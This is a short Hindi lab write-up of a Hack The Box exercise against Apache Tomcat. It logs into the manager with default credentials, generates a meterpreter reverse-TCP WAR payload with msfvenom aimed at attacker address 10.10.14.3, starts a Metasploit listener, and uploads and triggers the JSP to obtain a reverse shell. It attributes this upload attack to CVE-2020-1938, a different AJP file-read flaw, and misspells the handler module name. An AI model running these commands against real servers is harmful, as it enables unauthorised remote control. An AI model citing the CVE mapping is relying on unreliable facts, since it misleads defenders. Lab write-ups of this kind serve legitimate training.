CVE-2020-1938 शोषण

Apache Tomcat मनमाना JSP अपलोड जिससे RCE होता है

विवरण

CVE-2020-1938 एक गंभीर कमजोरी है जो Apache Tomcat के 9.0.0.M1 से 9.0.0.30, 8.5.0 से 8.5.50 और 7.0.0 से 7.0.99 संस्करणों को प्रभावित करती है ⚠️ इसका Hack The Box प्रयोगशाला में शोषण किया गया था।

🔗 संदर्भ: NIST NVD प्रविष्टि

टोह लेना

हमले का वेक्टर पहचानना

1. वेबसाइट में सर्वर स्थिति सुविधा के लिए डिफ़ॉल्ट क्रेडेंशियल हैं।

2. यह इंटरफ़ेस इंगित करता है कि संस्करण Apache Tomcat/7.0.88, 64 बिट आर्किटेक्चर है।

3. इस इंटरफ़ेस से हम एप्लिकेशन सूचीबद्ध करने के लिए जाते हैं जो .war फ़ाइल अपलोड सुविधा को उजागर करता है।

4. सफल अपलोड पर .war फ़ाइल /directory/filename पर निष्पादित होती है।

5. Apache Tomcat संस्करण पर शोध ने CVE-2020-1938 की कमजोरी की पुष्टि की।

6. शोषण

.war फ़ाइल उत्पन्न करना

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.14.3 LPORT=3004 -f war -o exploit.war

msfvenom का उपयोग करते हुए, जो एक मेटास्प्लॉइट पेलोड जनरेटर है, हम अपना exploit.war पेलोड उत्पन्न करते हैं।

1. -p windows/x64/meterpreter_reverse_tcp पेलोड का प्रकार है (हमारे मामले में 64 बिट जैसा कि सर्वर स्थिति में पहचाना गया)
2. LHOST=10.10.14.3 LPORT=3004 हमलावर मशीन के लिए रिवर्स कनेक्शन विवरण हैं
3. -f war फ़ाइल प्रकार है
4. -o exploit.war आउटपुट फ़ाइल नाम

फ़ाइल उत्पन्न करने के बाद, फ़ाइल में जाएं और .jsp फ़ाइल का नाम ढूंढें जैसे gcvxdtmxvw.jsp और इसे बाद के लिए सहेजें।

मेटास्प्लॉइट सेट करना

msfconsole
use exploit/multi/hanlder
Set LHOST 10.10.14.3
Set LPORT 3004

msfconsole का उपयोग करके हम एक लिसनर सेट करते हैं जो हमारे पेलोड के निष्पादित होने की प्रतीक्षा करता है।

दुर्भावनापूर्ण फ़ाइल अपलोड करना और चलाना

हम अपनी फ़ाइल को डिप्लॉय अनुभाग में अपलोड करते हैं, उसके बाद स्क्रीन को रिफ्रेश करते हैं और पाते हैं कि फ़ाइल सफलतापूर्वक अपलोड हो गई है। शोषण को पूरा करने के लिए हमें ip/hacked/gcvxdtmxvw.jsp पथ पर नेविगेट करना होगा।

यह अनुरोध को हैंग करता है हालांकि हम अपनी मशीन पर स्थानीय रूप से देख सकते हैं कि हमारे पास एक रिवर्स कनेक्शन है।